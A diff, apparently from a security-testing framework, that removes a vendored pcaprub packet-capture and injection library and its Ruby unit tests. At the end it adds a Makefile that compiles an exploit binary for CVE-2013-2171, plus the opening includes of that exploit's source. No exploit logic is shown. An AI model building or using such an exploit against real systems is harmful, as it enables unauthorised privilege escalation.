bpf_u_int32 net, mask, m;
|
||||
struct in_addr addr;
|
||||
char eb[PCAP_ERRBUF_SIZE];
|
||||
VALUE list;
|
||||
|
||||
Check_Type(dev, T_STRING);
|
||||
if (pcap_lookupnet(StringValuePtr(dev), &net, &mask, eb) == -1) {
|
||||
rb_raise(rb_eRuntimeError, "%s", eb);
|
||||
}
|
||||
|
||||
addr.s_addr = net;
|
||||
m = ntohl(mask);
|
||||
list = rb_ary_new();
|
||||
rb_ary_push(list, rb_str_new2((char *) inet_ntoa(addr)));
|
||||
rb_ary_push(list, UINT2NUM(m));
|
||||
return(list);
|
||||
}
|
||||
|
||||
|
||||
static int rbpcap_ready(rbpcap_t *rbp) {
|
||||
if(! rbp->pd) {
|
||||
rb_raise(rb_eArgError, "a device or pcap file must be opened first");
|
||||
return 0;
|
||||
}
|
||||
return 1;
|
||||
}
|
||||
|
||||
static void rbpcap_free(rbpcap_t *rbp) {
|
||||
if (rbp->pd)
|
||||
pcap_close(rbp->pd);
|
||||
|
||||
if (rbp->pdt)
|
||||
pcap_dump_close(rbp->pdt);
|
||||
|
||||
rbp->pd = NULL;
|
||||
rbp->pdt = NULL;
|
||||
free(rbp);
|
||||
}
|
||||
|
||||
static VALUE
|
||||
rbpcap_new_s(VALUE class)
|
||||
{
|
||||
VALUE self;
|
||||
rbpcap_t *rbp;
|
||||
|
||||
// need to make destructor do a pcap_close later
|
||||
self = Data_Make_Struct(class, rbpcap_t, 0, rbpcap_free, rbp);
|
||||
rb_obj_call_init(self, 0, 0);
|
||||
|
||||
memset(rbp, 0, sizeof(rbpcap_t));
|
||||
|
||||
return self;
|
||||
}
|
||||
|
||||
static VALUE
|
||||
rbpcap_setfilter(VALUE self, VALUE filter)
|
||||
{
|
||||
char eb[PCAP_ERRBUF_SIZE];
|
||||
rbpcap_t *rbp;
|
||||
u_int32_t mask = 0, netid = 0;
|
||||
struct bpf_program bpf;
|
||||
|
||||
Data_Get_Struct(self, rbpcap_t, rbp);
|
||||
|
||||
if(TYPE(filter) != T_STRING)
|
||||
rb_raise(rb_eArgError, "filter must be a string");
|
||||
|
||||
if(! rbpcap_ready(rbp)) return self;
|
||||
|
||||
if(rbp->type == LIVE)
|
||||
if(pcap_lookupnet(rbp->iface, &netid, &mask, eb) < 0)
|
||||
rb_raise(rb_eRuntimeError, "%s", eb);
|
||||
|
||||
if(pcap_compile(rbp->pd, &bpf, RSTRING_PTR(filter), 0, mask) < 0)
|
||||
rb_raise(rb_eRuntimeError, "invalid bpf filter");
|
||||
|
||||
if(pcap_setfilter(rbp->pd, &bpf) < 0)
|
||||
rb_raise(rb_eRuntimeError, "unable to set bpf filter");
|
||||
|
||||
return self;
|
||||
}
|
||||
|
||||
|
||||
static VALUE
|
||||
rbpcap_open_live(VALUE self, VALUE iface,VALUE snaplen,VALUE promisc, VALUE timeout)
|
||||
{
|
||||
char eb[PCAP_ERRBUF_SIZE];
|
||||
rbpcap_t *rbp;
|
||||
int promisc_value = 0;
|
||||
|
||||
if(TYPE(iface) != T_STRING)
|
||||
rb_raise(rb_eArgError, "interface must be a string");
|
||||
if(TYPE(snaplen) != T_FIXNUM)
|
||||
rb_raise(rb_eArgError, "snaplen must be a fixnum");
|
||||
if(TYPE(timeout) != T_FIXNUM)
|
||||
rb_raise(rb_eArgError, "timeout must be a fixnum");
|
||||
|
||||
switch(promisc) {
|
||||
case Qtrue:
|
||||
promisc_value = 1;
|
||||
break;
|
||||
case Qfalse:
|
||||
promisc_value = 0;
|
||||
break;
|
||||
default:
|
||||
rb_raise(rb_eTypeError, "Argument not boolean");
|
||||
}
|
||||
|
||||
Data_Get_Struct(self, rbpcap_t, rbp);
|
||||
|
||||
|
||||
rbp->type = LIVE;
|
||||
memset(rbp->iface, 0, sizeof(rbp->iface));
|
||||
strncpy(rbp->iface, RSTRING_PTR(iface), sizeof(rbp->iface) - 1);
|
||||
|
||||
|
||||
if(rbp->pd) {
|
||||
pcap_close(rbp->pd);
|
||||
}
|
||||
|
||||
rbp->pd = pcap_open_live(
|
||||
RSTRING_PTR(iface),
|
||||
NUM2INT(snaplen),
|
||||
promisc_value,
|
||||
NUM2INT(timeout),
|
||||
eb
|
||||
);
|
||||
|
||||
if(!rbp->pd)
|
||||
rb_raise(rb_eRuntimeError, "%s", eb);
|
||||
|
||||
return self;
|
||||
}
|
||||
|
||||
static VALUE
|
||||
rbpcap_open_live_s(VALUE class, VALUE iface, VALUE snaplen, VALUE promisc, VALUE timeout)
|
||||
{
|
||||
VALUE iPcap = rb_funcall(rb_cPcap, rb_intern("new"), 0);
|
||||
return rbpcap_open_live(iPcap, iface, snaplen, promisc, timeout);
|
||||
}
|
||||
|
||||
static VALUE
|
||||
rbpcap_open_offline(VALUE self, VALUE filename)
|
||||
{
|
||||
char eb[PCAP_ERRBUF_SIZE];
|
||||
rbpcap_t *rbp;
|
||||
|
||||
if(TYPE(filename) != T_STRING)
|
||||
rb_raise(rb_eArgError, "filename must be a string");
|
||||
|
||||
Data_Get_Struct(self, rbpcap_t, rbp);
|
||||
|
||||
memset(rbp->iface, 0, sizeof(rbp->iface));
|
||||
rbp->type = OFFLINE;
|
||||
|
||||
rbp->pd = pcap_open_offline(
|
||||
RSTRING_PTR(filename),
|
||||
eb
|
||||
);
|
||||
|
||||
if(!rbp->pd)
|
||||
rb_raise(rb_eRuntimeError, "%s", eb);
|
||||
|
||||
return self;
|
||||
}
|
||||
|
||||
|
||||
static VALUE
|
||||
rbpcap_open_offline_s(VALUE class, VALUE filename)
|
||||
{
|
||||
VALUE iPcap = rb_funcall(rb_cPcap, rb_intern("new"), 0);
|
||||
|
||||
return rbpcap_open_offline(iPcap, filename);
|
||||
}
|
||||
|
||||
static VALUE
|
||||
rbpcap_open_dead(VALUE self, VALUE linktype, VALUE snaplen)
|
||||
{
|
||||
rbpcap_t *rbp;
|
||||
|
||||
|
||||
if(TYPE(linktype) != T_FIXNUM)
|
||||
rb_raise(rb_eArgError, "linktype must be a fixnum");
|
||||
if(TYPE(snaplen) != T_FIXNUM)
|
||||
rb_raise(rb_eArgError, "snaplen must be a fixnum");
|
||||
|
||||
Data_Get_Struct(self, rbpcap_t, rbp);
|
||||
|
||||
memset(rbp->iface, 0, sizeof(rbp->iface));
|
||||
rbp->type = OFFLINE;
|
||||
|
||||
rbp->pd = pcap_open_dead(
|
||||
NUM2INT(linktype),
|
||||
NUM2INT(snaplen)
|
||||
);
|
||||
|
||||
return self;
|
||||
}
|
||||
|
||||
static VALUE
|
||||
rbpcap_open_dead_s(VALUE class, VALUE linktype, VALUE snaplen)
|
||||
{
|
||||
VALUE iPcap = rb_funcall(rb_cPcap, rb_intern("new"), 0);
|
||||
|
||||
return rbpcap_open_dead(iPcap, linktype, snaplen);
|
||||
}
|
||||
|
||||
|
||||
static VALUE
|
||||
rbpcap_dump_open(VALUE self, VALUE filename)
|
||||
{
|
||||
rbpcap_t *rbp;
|
||||
|
||||
if(TYPE(filename) != T_STRING)
|
||||
rb_raise(rb_eArgError, "filename must be a string");
|
||||
|
||||
Data_Get_Struct(self, rbpcap_t, rbp);
|
||||
rbp->pdt = pcap_dump_open(
|
||||
rbp->pd,
|
||||
RSTRING_PTR(filename)
|
||||
);
|
||||
|
||||
return self;
|
||||
}
|
||||
|
||||
//not sure if this deviates too much from the way the rest of this class works?
|
||||
static VALUE
|
||||
rbpcap_dump(VALUE self, VALUE caplen, VALUE pktlen, VALUE packet)
|
||||
{
|
||||
rbpcap_t *rbp;
|
||||
struct pcap_pkthdr pcap_hdr;
|
||||
|
||||
if(TYPE(packet) != T_STRING)
|
||||
rb_raise(rb_eArgError, "packet data must be a string");
|
||||
if(TYPE(caplen) != T_FIXNUM)
|
||||
rb_raise(rb_eArgError, "caplen must be a fixnum");
|
||||
if(TYPE(pktlen) != T_FIXNUM)
|
||||
rb_raise(rb_eArgError, "pktlen must be a fixnum");
|
||||
|
||||
Data_Get_Struct(self, rbpcap_t, rbp);
|
||||
|
||||
gettimeofday(&pcap_hdr.ts, NULL);
|
||||
pcap_hdr.caplen = NUM2UINT(caplen);
|
||||
pcap_hdr.len = NUM2UINT(pktlen);
|
||||
|
||||
pcap_dump(
|
||||
(u_char*)rbp->pdt,
|
||||
&pcap_hdr,
|
||||
(unsigned char *)RSTRING_PTR(packet)
|
||||
);
|
||||
|
||||
return self;
|
||||
}
|
||||
|
||||
static VALUE
|
||||
rbpcap_inject(VALUE self, VALUE payload)
|
||||
{
|
||||
rbpcap_t *rbp;
|
||||
|
||||
if(TYPE(payload) != T_STRING)
|
||||
rb_raise(rb_eArgError, "payload must be a string");
|
||||
|
||||
Data_Get_Struct(self, rbpcap_t, rbp);
|
||||
|
||||
if(! rbpcap_ready(rbp)) return self;
|
||||
#if defined(WIN32)
|
||||
/* WinPcap does not have a pcap_inject call we use pcap_sendpacket, if it suceedes
|
||||
* we simply return the amount of packets request to inject, else we fail.
|
||||
*/
|
||||
if(pcap_sendpacket(rbp->pd, RSTRING_PTR(payload), RSTRING_LEN(payload)) != 0) {
|
||||
rb_raise(rb_eRuntimeError, "%s", pcap_geterr(rbp->pd));
|
||||
}
|
||||
return INT2NUM(RSTRING_LEN(payload));
|
||||
#else
|
||||
return INT2NUM(pcap_inject(rbp->pd, RSTRING_PTR(payload), RSTRING_LEN(payload)));
|
||||
#endif
|
||||
}
|
||||
|
||||
|
||||
static void rbpcap_handler(rbpcapjob_t *job, struct pcap_pkthdr *hdr, u_char *pkt){
|
||||
job->pkt = (unsigned char *)pkt;
|
||||
job->hdr = *hdr;
|
||||
}
|
||||
|
||||
static VALUE
|
||||
rbpcap_next(VALUE self)
|
||||
{
|
||||
rbpcap_t *rbp;
|
||||
rbpcapjob_t job;
|
||||
char eb[PCAP_ERRBUF_SIZE];
|
||||
int ret;
|
||||
|
||||
Data_Get_Struct(self, rbpcap_t, rbp);
|
||||
if(! rbpcap_ready(rbp)) return self;
|
||||
pcap_setnonblock(rbp->pd, 1, eb);
|
||||
|
||||
#ifndef RUBY_19
|
||||
TRAP_BEG;
|
||||
#endif
|
||||
ret = pcap_dispatch(rbp->pd, 1, (pcap_handler) rbpcap_handler, (u_char *)&job);
|
||||
#ifndef RUBY_19
|
||||
TRAP_END;
|
||||
#endif
|
||||
|
||||
if(rbp->type == OFFLINE && ret <= 0) return Qnil;
|
||||
|
||||
if(ret > 0 && job.hdr.caplen > 0)
|
||||
return rb_str_new((char *) job.pkt, job.hdr.caplen);
|
||||
|
||||
return Qnil;
|
||||
}
|
||||
|
||||
static VALUE
|
||||
rbpcap_capture(VALUE self)
|
||||
{
|
||||
rbpcap_t *rbp;
|
||||
int fno = -1;
|
||||
|
||||
Data_Get_Struct(self, rbpcap_t, rbp);
|
||||
|
||||
if(! rbpcap_ready(rbp)) return self;
|
||||
|
||||
#if !defined(WIN32)
|
||||
fno = pcap_get_selectable_fd(rbp->pd);
|
||||
#else
|
||||
fno = pcap_fileno(rbp->pd);
|
||||
#endif
|
||||
|
||||
for(;;) {
|
||||
VALUE packet = rbpcap_next(self);
|
||||
if(packet == Qnil && rbp->type == OFFLINE) break;
|
||||
packet == Qnil ? rb_thread_wait_fd(fno) : rb_yield(packet);
|
||||
}
|
||||
|
||||
return self;
|
||||
}
|
||||
|
||||
|
||||
static VALUE
|
||||
rbpcap_datalink(VALUE self)
|
||||
{
|
||||
rbpcap_t *rbp;
|
||||
|
||||
Data_Get_Struct(self, rbpcap_t, rbp);
|
||||
|
||||
if(! rbpcap_ready(rbp)) return self;
|
||||
|
||||
return INT2NUM(pcap_datalink(rbp->pd));
|
||||
}
|
||||
|
||||
static VALUE
|
||||
rbpcap_snapshot(VALUE self)
|
||||
{
|
||||
rbpcap_t *rbp;
|
||||
|
||||
Data_Get_Struct(self, rbpcap_t, rbp);
|
||||
|
||||
if(! rbpcap_ready(rbp)) return self;
|
||||
|
||||
return INT2NUM(pcap_snapshot(rbp->pd));
|
||||
}
|
||||
|
||||
static VALUE
|
||||
rbpcap_stats(VALUE self)
|
||||
{
|
||||
rbpcap_t *rbp;
|
||||
struct pcap_stat stat;
|
||||
VALUE hash;
|
||||
|
||||
Data_Get_Struct(self, rbpcap_t, rbp);
|
||||
|
||||
if(! rbpcap_ready(rbp)) return self;
|
||||
|
||||
if (pcap_stats(rbp->pd, &stat) == -1)
|
||||
return Qnil;
|
||||
|
||||
hash = rb_hash_new();
|
||||
rb_hash_aset(hash, rb_str_new2("recv"), UINT2NUM(stat.ps_recv));
|
||||
rb_hash_aset(hash, rb_str_new2("drop"), UINT2NUM(stat.ps_drop));
|
||||
rb_hash_aset(hash, rb_str_new2("idrop"), UINT2NUM(stat.ps_ifdrop));
|
||||
return hash;
|
||||
}
|
||||
|
||||
void
|
||||
Init_pcaprub()
|
||||
{
|
||||
// Pcap
|
||||
rb_cPcap = rb_define_class("Pcap", rb_cObject);
|
||||
rb_define_module_function(rb_cPcap, "version", rbpcap_s_version, 0);
|
||||
rb_define_module_function(rb_cPcap, "lookupdev", rbpcap_s_lookupdev, 0);
|
||||
rb_define_module_function(rb_cPcap, "lookupnet", rbpcap_s_lookupnet, 1);
|
||||
rb_define_module_function(rb_cPcap, "lookupaddrs", rbpcap_s_lookupaddrs, 1);
|
||||
|
||||
rb_define_const(rb_cPcap, "DLT_NULL", INT2NUM(DLT_NULL));
|
||||
rb_define_const(rb_cPcap, "DLT_EN10MB", INT2NUM(DLT_EN10MB));
|
||||
rb_define_const(rb_cPcap, "DLT_EN3MB", INT2NUM(DLT_EN3MB));
|
||||
rb_define_const(rb_cPcap, "DLT_AX25", INT2NUM(DLT_AX25));
|
||||
rb_define_const(rb_cPcap, "DLT_PRONET", INT2NUM(DLT_PRONET));
|
||||
rb_define_const(rb_cPcap, "DLT_CHAOS", INT2NUM(DLT_CHAOS));
|
||||
rb_define_const(rb_cPcap, "DLT_IEEE802", INT2NUM(DLT_IEEE802));
|
||||
rb_define_const(rb_cPcap, "DLT_ARCNET", INT2NUM(DLT_ARCNET));
|
||||
rb_define_const(rb_cPcap, "DLT_SLIP", INT2NUM(DLT_SLIP));
|
||||
rb_define_const(rb_cPcap, "DLT_PPP", INT2NUM(DLT_PPP));
|
||||
rb_define_const(rb_cPcap, "DLT_FDDI", INT2NUM(DLT_FDDI));
|
||||
rb_define_const(rb_cPcap, "DLT_ATM_RFC1483", INT2NUM(DLT_ATM_RFC1483));
|
||||
rb_define_const(rb_cPcap, "DLT_RAW", INT2NUM(DLT_RAW));
|
||||
rb_define_const(rb_cPcap, "DLT_SLIP_BSDOS", INT2NUM(DLT_SLIP_BSDOS));
|
||||
rb_define_const(rb_cPcap, "DLT_PPP_BSDOS", INT2NUM(DLT_PPP_BSDOS));
|
||||
rb_define_const(rb_cPcap, "DLT_IEEE802_11", INT2NUM(DLT_IEEE802_11));
|
||||
rb_define_const(rb_cPcap, "DLT_IEEE802_11_RADIO", INT2NUM(DLT_IEEE802_11_RADIO));
|
||||
rb_define_const(rb_cPcap, "DLT_IEEE802_11_RADIO_AVS", INT2NUM(DLT_IEEE802_11_RADIO_AVS));
|
||||
rb_define_const(rb_cPcap, "DLT_LINUX_SLL", INT2NUM(DLT_LINUX_SLL));
|
||||
rb_define_const(rb_cPcap, "DLT_PRISM_HEADER", INT2NUM(DLT_PRISM_HEADER));
|
||||
rb_define_const(rb_cPcap, "DLT_AIRONET_HEADER", INT2NUM(DLT_AIRONET_HEADER));
|
||||
|
||||
rb_define_singleton_method(rb_cPcap, "new", rbpcap_new_s, 0);
|
||||
|
||||
rb_define_singleton_method(rb_cPcap, "open_live", rbpcap_open_live_s, 4);
|
||||
rb_define_singleton_method(rb_cPcap, "open_offline", rbpcap_open_offline_s, 1);
|
||||
rb_define_singleton_method(rb_cPcap, "open_dead", rbpcap_open_dead_s, 2);
|
||||
rb_define_singleton_method(rb_cPcap, "dump_open", rbpcap_dump_open, 1);
|
||||
|
||||
rb_define_method(rb_cPcap, "dump", rbpcap_dump, 3);
|
||||
|
||||
rb_define_method(rb_cPcap, "each", rbpcap_capture, 0);
|
||||
rb_define_method(rb_cPcap, "next", rbpcap_next, 0);
|
||||
rb_define_method(rb_cPcap, "setfilter", rbpcap_setfilter, 1);
|
||||
rb_define_method(rb_cPcap, "inject", rbpcap_inject, 1);
|
||||
rb_define_method(rb_cPcap, "datalink", rbpcap_datalink, 0);
|
||||
|
||||
rb_define_method(rb_cPcap, "snapshot", rbpcap_snapshot, 0);
|
||||
rb_define_method(rb_cPcap, "snaplen", rbpcap_snapshot, 0);
|
||||
rb_define_method(rb_cPcap, "stats", rbpcap_stats, 0);
|
||||
|
||||
|
||||
//Netifaces
|
||||
rb_define_module_function(rb_cPcap, "interfaces", rbnetifaces_s_interfaces, 0);
|
||||
rb_define_module_function(rb_cPcap, "addresses", rbnetifaces_s_addresses, 1);
|
||||
rb_define_module_function(rb_cPcap, "interface_info", rbnetifaces_s_interface_info, 1);
|
||||
|
||||
//constants
|
||||
// Address families (auto-detect using #ifdef)
|
||||
|
||||
#ifdef AF_INET
|
||||
rb_define_const(rb_cPcap, "AF_INET", INT2NUM(AF_INET));
|
||||
#endif
|
||||
#ifdef AF_INET6
|
||||
rb_define_const(rb_cPcap, "AF_INET6", INT2NUM(AF_INET6));
|
||||
#endif
|
||||
#ifdef AF_UNSPEC
|
||||
rb_define_const(rb_cPcap, "AF_UNSPEC", INT2NUM(AF_UNSPEC));
|
||||
#endif
|
||||
#ifdef AF_UNIX
|
||||
rb_define_const(rb_cPcap, "AF_UNIX", INT2NUM(AF_UNIX));
|
||||
#endif
|
||||
#ifdef AF_FILE
|
||||
rb_define_const(rb_cPcap, "AF_FILE", INT2NUM(AF_FILE));
|
||||
#endif
|
||||
|
||||
#ifdef AF_AX25
|
||||
rb_define_const(rb_cPcap, "AF_AX25", INT2NUM(AF_AX25));
|
||||
#endif
|
||||
#ifdef AF_IMPLINK
|
||||
rb_define_const(rb_cPcap, "AF_IMPLINK", INT2NUM(AF_IMPLINK));
|
||||
#endif
|
||||
#ifdef AF_PUP
|
||||
rb_define_const(rb_cPcap, "AF_PUP", INT2NUM(AF_PUP));
|
||||
#endif
|
||||
#ifdef AF_CHAOS
|
||||
rb_define_const(rb_cPcap, "AF_CHAOS", INT2NUM(AF_CHAOS));
|
||||
#endif
|
||||
#ifdef AF_NS
|
||||
rb_define_const(rb_cPcap, "AF_NS", INT2NUM(AF_NS));
|
||||
#endif
|
||||
#ifdef AF_ISO
|
||||
rb_define_const(rb_cPcap, "AF_ISO", INT2NUM(AF_ISO));
|
||||
#endif
|
||||
#ifdef AF_ECMA
|
||||
rb_define_const(rb_cPcap, "AF_ECMA", INT2NUM(AF_ECMA));
|
||||
#endif
|
||||
#ifdef AF_DATAKIT
|
||||
rb_define_const(rb_cPcap, "AF_DATAKIT", INT2NUM(AF_DATAKIT));
|
||||
#endif
|
||||
#ifdef AF_CCITT
|
||||
rb_define_const(rb_cPcap, "AF_CCITT", INT2NUM(AF_CCITT));
|
||||
#endif
|
||||
#ifdef AF_SNA
|
||||
rb_define_const(rb_cPcap, "AF_SNA", INT2NUM(AF_SNA));
|
||||
#endif
|
||||
#ifdef AF_DECnet
|
||||
rb_define_const(rb_cPcap, "AF_DECnet", INT2NUM(AF_DECnet));
|
||||
#endif
|
||||
#ifdef AF_DLI
|
||||
rb_define_const(rb_cPcap, "AF_DLI", INT2NUM(AF_DLI));
|
||||
#endif
|
||||
#ifdef AF_LAT
|
||||
rb_define_const(rb_cPcap, "AF_LAT", INT2NUM(AF_LAT));
|
||||
#endif
|
||||
#ifdef AF_HYLINK
|
||||
rb_define_const(rb_cPcap, "AF_HYLINK", INT2NUM(AF_HYLINK));
|
||||
#endif
|
||||
#ifdef AF_APPLETALK
|
||||
rb_define_const(rb_cPcap, "AF_APPLETALK", INT2NUM(AF_APPLETALK));
|
||||
#endif
|
||||
#ifdef AF_ROUTE
|
||||
rb_define_const(rb_cPcap, "AF_ROUTE", INT2NUM(AF_ROUTE));
|
||||
#endif
|
||||
#ifdef AF_LINK
|
||||
rb_define_const(rb_cPcap, "AF_LINK", INT2NUM(AF_LINK));
|
||||
#endif
|
||||
#ifdef AF_PACKET
|
||||
rb_define_const(rb_cPcap, "AF_PACKET", INT2NUM(AF_PACKET));
|
||||
#endif
|
||||
#ifdef AF_COIP
|
||||
rb_define_const(rb_cPcap, "AF_COIP", INT2NUM(AF_COIP));
|
||||
#endif
|
||||
#ifdef AF_CNT
|
||||
rb_define_const(rb_cPcap, "AF_CNT", INT2NUM(AF_CNT));
|
||||
#endif
|
||||
#ifdef AF_IPX
|
||||
rb_define_const(rb_cPcap, "AF_IPX", INT2NUM(AF_IPX));
|
||||
#endif
|
||||
#ifdef AF_SIP
|
||||
rb_define_const(rb_cPcap, "AF_SIP", INT2NUM(AF_SIP));
|
||||
#endif
|
||||
#ifdef AF_NDRV
|
||||
rb_define_const(rb_cPcap, "AF_NDRV", INT2NUM(AF_NDRV));
|
||||
#endif
|
||||
#ifdef AF_ISDN
|
||||
rb_define_const(rb_cPcap, "AF_ISDN", INT2NUM(AF_ISDN));
|
||||
#endif
|
||||
#ifdef AF_NATM
|
||||
rb_define_const(rb_cPcap, "AF_NATM", INT2NUM(AF_NATM));
|
||||
#endif
|
||||
#ifdef AF_SYSTEM
|
||||
rb_define_const(rb_cPcap, "AF_SYSTEM", INT2NUM(AF_SYSTEM));
|
||||
#endif
|
||||
#ifdef AF_NETBIOS
|
||||
rb_define_const(rb_cPcap, "AF_NETBIOS", INT2NUM(AF_NETBIOS));
|
||||
#endif
|
||||
#ifdef AF_NETBEUI
|
||||
rb_define_const(rb_cPcap, "AF_NETBEUI", INT2NUM(AF_NETBEUI));
|
||||
#endif
|
||||
#ifdef AF_PPP
|
||||
rb_define_const(rb_cPcap, "AF_PPP", INT2NUM(AF_PPP));
|
||||
#endif
|
||||
#ifdef AF_ATM
|
||||
rb_define_const(rb_cPcap, "AF_ATM", INT2NUM(AF_ATM));
|
||||
#endif
|
||||
#ifdef AF_ATMPVC
|
||||
rb_define_const(rb_cPcap, "AF_ATMPVC", INT2NUM(AF_ATMPVC));
|
||||
#endif
|
||||
#ifdef AF_ATMSVC
|
||||
rb_define_const(rb_cPcap, "AF_ATMSVC", INT2NUM(AF_ATMSVC));
|
||||
#endif
|
||||
#ifdef AF_NETGRAPH
|
||||
rb_define_const(rb_cPcap, "AF_NETGRAPH", INT2NUM(AF_NETGRAPH));
|
||||
#endif
|
||||
#ifdef AF_VOICEVIEW
|
||||
rb_define_const(rb_cPcap, "AF_VOICEVIEW", INT2NUM(AF_VOICEVIEW));
|
||||
#endif
|
||||
#ifdef AF_FIREFOX
|
||||
rb_define_const(rb_cPcap, "AF_FIREFOX", INT2NUM(AF_FIREFOX));
|
||||
#endif
|
||||
#ifdef AF_UNKNOWN1
|
||||
rb_define_const(rb_cPcap, "AF_UNKNOWN1", INT2NUM(AF_UNKNOWN1));
|
||||
#endif
|
||||
#ifdef AF_BAN
|
||||
rb_define_const(rb_cPcap, "AF_BAN", INT2NUM(AF_BAN));
|
||||
#endif
|
||||
#ifdef AF_CLUSTER
|
||||
rb_define_const(rb_cPcap, "AF_CLUSTER", INT2NUM(AF_CLUSTER));
|
||||
#endif
|
||||
#ifdef AF_12844
|
||||
rb_define_const(rb_cPcap, "AF_12844", INT2NUM(AF_12844));
|
||||
#endif
|
||||
#ifdef AF_IRDA
|
||||
rb_define_const(rb_cPcap, "AF_IRDA", INT2NUM(AF_IRDA));
|
||||
#endif
|
||||
#ifdef AF_NETDES
|
||||
rb_define_const(rb_cPcap, "AF_NETDES", INT2NUM(AF_NETDES));
|
||||
#endif
|
||||
#ifdef AF_NETROM
|
||||
rb_define_const(rb_cPcap, "AF_NETROM", INT2NUM(AF_NETROM));
|
||||
#endif
|
||||
#ifdef AF_BRIDGE
|
||||
rb_define_const(rb_cPcap, "AF_BRIDGE", INT2NUM(AF_BRIDGE));
|
||||
#endif
|
||||
#ifdef AF_X25
|
||||
rb_define_const(rb_cPcap, "AF_X25", INT2NUM(AF_X25));
|
||||
#endif
|
||||
#ifdef AF_ROSE
|
||||
rb_define_const(rb_cPcap, "AF_ROSE", INT2NUM(AF_ROSE));
|
||||
#endif
|
||||
#ifdef AF_SECURITY
|
||||
rb_define_const(rb_cPcap, "AF_SECURITY", INT2NUM(AF_SECURITY));
|
||||
#endif
|
||||
#ifdef AF_KEY
|
||||
rb_define_const(rb_cPcap, "AF_KEY", INT2NUM(AF_KEY));
|
||||
#endif
|
||||
#ifdef AF_NETLINK
|
||||
rb_define_const(rb_cPcap, "AF_NETLINK", INT2NUM(AF_NETLINK));
|
||||
#endif
|
||||
#ifdef AF_ASH
|
||||
rb_define_const(rb_cPcap, "AF_ASH", INT2NUM(AF_ASH));
|
||||
#endif
|
||||
#ifdef AF_ECONET
|
||||
rb_define_const(rb_cPcap, "AF_ECONET", INT2NUM(AF_ECONET));
|
||||
#endif
|
||||
#ifdef AF_PPPOX
|
||||
rb_define_const(rb_cPcap, "AF_PPPOX", INT2NUM(AF_PPPOX));
|
||||
#endif
|
||||
#ifdef AF_WANPIPE
|
||||
rb_define_const(rb_cPcap, "AF_WANPIPE", INT2NUM(AF_WANPIPE));
|
||||
#endif
|
||||
#ifdef AF_BLUETOOTH
|
||||
rb_define_const(rb_cPcap, "AF_BLUETOOTH", INT2NUM(AF_BLUETOOTH));
|
||||
#endif
|
||||
|
||||
}
|
||||
Vendored
-125
@@ -1,125 +0,0 @@
|
||||
#!/usr/bin/ruby
|
||||
|
||||
base = File.symlink?(__FILE__) ? File.readlink(__FILE__) : __FILE__
|
||||
$:.unshift(File.join(File.dirname(base)))
|
||||
|
||||
require 'test/unit'
|
||||
require 'pcaprub'
|
||||
|
||||
#
|
||||
# Simple unit test, requires r00t.
|
||||
#
|
||||
|
||||
class Pcap::UnitTest < Test::Unit::TestCase
|
||||
|
||||
def test_version
|
||||
assert_equal(String, Pcap.version.class)
|
||||
puts "Pcaprub version: #{Pcap.version}"
|
||||
end
|
||||
|
||||
def test_lookupdev
|
||||
assert_equal(String, Pcap.lookupdev.class)
|
||||
puts "Pcaprub default device: #{Pcap.lookupdev}"
|
||||
end
|
||||
|
||||
def test_lookupnet
|
||||
dev = Pcap.lookupdev
|
||||
assert_equal(Array, Pcap.lookupnet(dev).class)
|
||||
net = Pcap.lookupnet(dev)
|
||||
puts "Pcaprub net (#{dev}): #{net[0]} #{[net[1]].pack("N").unpack("H*")[0]}"
|
||||
end
|
||||
|
||||
def test_pcap_new
|
||||
o = Pcap.new
|
||||
assert_equal(Pcap, o.class)
|
||||
end
|
||||
|
||||
def test_pcap_setfilter_bad
|
||||
e = nil
|
||||
o = Pcap.new
|
||||
begin
|
||||
o.setfilter("not ip")
|
||||
rescue ::Exception => e
|
||||
end
|
||||
|
||||
assert_equal(e.class, ArgumentError)
|
||||
end
|
||||
|
||||
def test_pcap_setfilter
|
||||
d = Pcap.lookupdev
|
||||
o = Pcap.open_live(d, 65535, true, 1)
|
||||
r = o.setfilter("not ip")
|
||||
assert_equal(Pcap, r.class)
|
||||
end
|
||||
|
||||
def test_pcap_inject
|
||||
d = Pcap.lookupdev
|
||||
o = Pcap.open_live(d, 65535, true, 1)
|
||||
r = o.inject("X" * 512)
|
||||
assert_equal(512, r)
|
||||
end
|
||||
|
||||
def test_pcap_datalink
|
||||
d = Pcap.lookupdev
|
||||
o = Pcap.open_live(d, 65535, true, 1)
|
||||
r = o.datalink
|
||||
assert_equal(Fixnum, r.class)
|
||||
end
|
||||
|
||||
def test_pcap_snapshot
|
||||
d = Pcap.lookupdev
|
||||
o = Pcap.open_live(d, 1344, true, 1)
|
||||
r = o.snapshot
|
||||
assert_equal(1344, r)
|
||||
end
|
||||
|
||||
def test_pcap_stats
|
||||
d = Pcap.lookupdev
|
||||
o = Pcap.open_live(d, 1344, true, 1)
|
||||
r = o.stats
|
||||
assert_equal(Hash, r.class)
|
||||
end
|
||||
|
||||
def test_pcap_next
|
||||
d = Pcap.lookupdev
|
||||
o = Pcap.open_live(d, 1344, true, 1)
|
||||
|
||||
@c = 0
|
||||
t = Thread.new { while(true); @c += 1; select(nil, nil, nil, 0.10); end; }
|
||||
|
||||
require 'timeout'
|
||||
begin
|
||||
Timeout.timeout(10) do
|
||||
o.each do |pkt|
|
||||
end
|
||||
end
|
||||
rescue ::Timeout::Error
|
||||
end
|
||||
|
||||
t.kill
|
||||
puts "Background thread ticked #{@c} times while capture was running"
|
||||
true
|
||||
end
|
||||
|
||||
def test_netifaces_constants
|
||||
puts "AF_LINK Value is #{Pcap::AF_LINK}"
|
||||
puts "AF_INET Value is #{Pcap::AF_INET}"
|
||||
puts "AF_INET6 Value is #{Pcap::AF_INET6}" if Pcap.const_defined?(:AF_INET6)
|
||||
end
|
||||
|
||||
def test_netifaces_functions
|
||||
Pcap.interfaces.sort.each do |iface|
|
||||
puts "#{iface} :"
|
||||
Pcap.addresses(iface).sort.each do |family,values|
|
||||
puts "\t#{family} :"
|
||||
values.each do |val|
|
||||
puts "\t\taddr : #{val['addr']}" if val.has_key?("addr")
|
||||
puts "\t\tnetmask : #{val['netmask']}" if val.has_key?("netmask")
|
||||
puts "\t\tbroadcast : #{val['broadcast']}" if val.has_key?("broadcast")
|
||||
puts "\n"
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
@@ -0,0 +1,2 @@
|
||||
all: exploit.c
|
||||
gcc exploit.c -o ../../../../data/exploits/CVE-2013-2171.bin
|
||||
@@ -0,0 +1,54 @@
|
||||
#include <unistd.h>
|
||||
#include <fcntl.h>
|
||||
#include <sys/stat.h>
|
||||
#include <sys/mman.h>
|
||||
#include <sys/types.h>
|
||||
